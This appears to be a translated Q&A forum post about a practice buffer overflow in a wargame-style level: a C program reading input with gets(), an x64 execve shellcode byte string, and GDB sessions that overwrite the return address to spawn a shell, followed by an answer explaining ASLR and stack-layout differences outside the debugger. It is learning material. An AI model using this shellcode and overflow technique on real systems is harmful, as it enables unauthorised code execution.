仅在使用gdb时缓冲区溢出成功

时间:2016-09-19 05:27:59

标签: shell gdb buffer-overflow shellcode

如果我直接用GDB修改返回地址,缓冲区溢出成功,我可以得到shell。但是,当我不使用GDB时,我无法获得具有相同shell代码的shell。我发现它们之间没有任何区别。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(void)
{
    char str[256];
    char *ptr;
    int a;

    printf("문장을 입력하세요.\n");
    gets(str);
    printf("%s\n", str);
}

以上是我的受害者计划&#39; ftz_level12&#39;。

"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

如果我使用gdb的set指令,我可以像这样得到shell

(gdb) r
Starting program: /home/knight/bof_prac/ftz_level12 
문장을 입력하세요.
hello

Breakpoint 1, 0x000000000040059c in main ()
(gdb) i r rbp
rbp            0x7fffffffe480   0x7fffffffe480
(gdb) set {int}0x7fffffffe488 = 0xffffeed0
(gdb) set {int}0x7fffffffe48c = 0x7fff
(gdb) disable
(gdb) c
Continuing.
hello
process 4443 is executing new program: /bin/dash
$ 

如果我不使用set指令,我就无法获得shell

(gdb) r < code
Starting program: /home/knight/bof_prac/ftz_level12 < code
문장을 입력하세요.
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????abcdefgh?????
process 4449 is executing new program: /bin/dash
[Inferior 1 (process 4449) exited normally]

上面是我使用的shell代码。 我使用的是ubuntu 16.04和x64架构

1 个答案:

答案 0 :(得分:0)

  

我发现它们之间没有任何区别。

默认情况下,GDB会禁用地址空间随机化。您可以使用(gdb) set disable-randomization off重新启用它。

https://stackoverflow.com/a/17775333

<强>更新

  

我通过/ proc / sys / kernel / randomize_va_space = 0关闭aslr保护

这相当于在GDB中设置disable-randomization off

正如other answer所提到的,您还需要将GDB内部和外部的堆栈布局安排得足够接近。

可能相关的一个区别是GDB总是按其完整路径调用程序。尝试在外部GDB中运行,如下所示:

/home/knight/bof_prac/ftz_level12 < code